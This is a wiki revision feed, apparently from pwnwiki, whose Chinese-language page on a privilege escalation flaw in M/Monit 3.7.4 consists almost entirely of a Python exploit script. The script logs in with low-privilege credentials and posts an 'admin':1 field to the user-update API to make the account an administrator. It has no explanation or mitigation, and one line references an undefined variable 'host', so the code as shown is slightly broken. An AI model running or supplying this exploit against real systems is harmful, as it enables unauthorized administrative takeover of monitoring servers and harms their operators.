<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=M%2FMonit_3.7.4_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Fzh-cn</id>
	<title>M/Monit 3.7.4 權限提升漏洞/zh-cn - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=M%2FMonit_3.7.4_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Fzh-cn"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=M/Monit_3.7.4_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/zh-cn&amp;action=history"/>
	<updated>2026-04-15T08:03:47Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=M/Monit_3.7.4_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=4992&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;M/Monit 3.7.4 权限提升漏洞&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=M/Monit_3.7.4_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=4992&amp;oldid=prev"/>
		<updated>2021-06-13T01:51:35Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;M/Monit 3.7.4 权限提升漏洞&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==影响版本==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Version : 3.7.4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
import requests&lt;br /&gt;
&lt;br /&gt;
url = 'http://your_ip_here:8080'&lt;br /&gt;
username = 'test'&lt;br /&gt;
password = 'test123'&lt;br /&gt;
&lt;br /&gt;
sess = requests.Session()&lt;br /&gt;
sess.get(host)&lt;br /&gt;
&lt;br /&gt;
def login():&lt;br /&gt;
  print('Attempting to login...')&lt;br /&gt;
  data = {&lt;br /&gt;
    'z_username':username,&lt;br /&gt;
    'z_password':password&lt;br /&gt;
  }&lt;br /&gt;
  headers = {&lt;br /&gt;
    'Content-Type':'application/x-www-form-urlencoded'&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  resp = sess.post(url + '/z_security_check', data=data, headers=headers)&lt;br /&gt;
  if resp.ok:&lt;br /&gt;
    print('Logged in successfully.')&lt;br /&gt;
  else:&lt;br /&gt;
    print('Could not login.')&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
def privesc():&lt;br /&gt;
  data = {&lt;br /&gt;
    'uname':username,&lt;br /&gt;
    'fullname':username,&lt;br /&gt;
    'password':password,&lt;br /&gt;
    'admin':1&lt;br /&gt;
  }&lt;br /&gt;
  resp = sess.post(url + '/api/1/admin/users/update', data=data)&lt;br /&gt;
  &lt;br /&gt;
  if resp.ok:&lt;br /&gt;
    print('Escalated to administrator.')&lt;br /&gt;
  else:&lt;br /&gt;
    print('Unable to escalate to administrator.')&lt;br /&gt;
  &lt;br /&gt;
  return&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
  login()&lt;br /&gt;
  privesc()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>